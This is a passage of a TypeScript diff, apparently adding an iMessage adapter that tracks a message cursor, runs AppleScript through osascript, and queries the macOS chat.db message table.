const v = JSON.parse(raw) as { cursor?: number };
|
|
264
|
+
return typeof v.cursor === "number" && Number.isFinite(v.cursor) ? v.cursor : 0;
|
|
265
|
+
} catch {
|
|
266
|
+
return 0;
|
|
267
|
+
}
|
|
268
|
+
}
|
|
269
|
+
|
|
270
|
+
function writeCursor(cursorPath: string, cursor: number): void {
|
|
271
|
+
mkdirSync(dirname(cursorPath), { recursive: true });
|
|
272
|
+
writeFileSync(cursorPath, JSON.stringify({ cursor }), { mode: 0o600 });
|
|
273
|
+
}
|
|
274
|
+
|
|
275
|
+
// ─── default osascript runner ──────────────────────────────────────────────
|
|
276
|
+
|
|
277
|
+
const defaultOsascript = async (script: string): Promise<void> => {
|
|
278
|
+
const { spawn } = await import("node:child_process");
|
|
279
|
+
return new Promise<void>((resolve, reject) => {
|
|
280
|
+
const head = "osascript";
|
|
281
|
+
const child = spawn(head, ["-"], { stdio: ["pipe", "ignore", "pipe"] });
|
|
282
|
+
const errBufs: Buffer[] = [];
|
|
283
|
+
child.stderr.on("data", (b) => errBufs.push(b));
|
|
284
|
+
child.on("error", (e) => reject(new IMessageAdapterError("osascript spawn failed", e)));
|
|
285
|
+
child.on("close", (code) => {
|
|
286
|
+
if (code === 0) resolve();
|
|
287
|
+
else
|
|
288
|
+
reject(
|
|
289
|
+
new IMessageAdapterError(
|
|
290
|
+
`osascript exited with ${code}: ${Buffer.concat(errBufs).toString("utf8")}`,
|
|
291
|
+
),
|
|
292
|
+
);
|
|
293
|
+
});
|
|
294
|
+
child.stdin.write(script);
|
|
295
|
+
child.stdin.end();
|
|
296
|
+
});
|
|
297
|
+
};
|
|
298
|
+
|
|
299
|
+
// ─── chat.db row shape + query ──────────────────────────────────────────────
|
|
300
|
+
|
|
301
|
+
const MESSAGE_QUERY = `
|
|
302
|
+
SELECT
|
|
303
|
+
m.ROWID,
|
|
304
|
+
m.text,
|
|
305
|
+
m.is_from_me,
|
|
306
|
+
m.date,
|
|
307
|
+
m.handle_id,
|
|
308
|
+
h.id AS handle_id_str
|
|
309
|
+
FROM message m
|
|
310
|
+
LEFT JOIN handle h ON h.ROWID = m.handle_id
|
|
311
|
+
WHERE m.ROWID > ?
|
|
312
|
+
ORDER BY m.ROWID ASC
|
|
313
|
+
`;
|
|
314
|
+
|
|
315
|
+
type MessageRow = {
|
|
316
|
+
readonly ROWID: number;
|
|
317
|
+
readonly text: string | null;
|
|
318
|
+
readonly is_from_me: number;
|
|
319
|
+
readonly date: number;
|
|
320
|
+
readonly handle_id: number | null;
|
|
321
|
+
readonly handle_id_str: string | null;
|
|
322
|
+
};
|
|
323
|
+
|
|
324
|
+
// ─── helpers consumed by tests ────────────────────────────────────────────
|
|
325
|
+
|
|
326
|
+
export const _internal = {
|
|
327
|
+
isSafeHandle,
|
|
328
|
+
escapeAppleScriptString,
|
|
329
|
+
validateChatDbPath,
|
|
330
|
+
};
|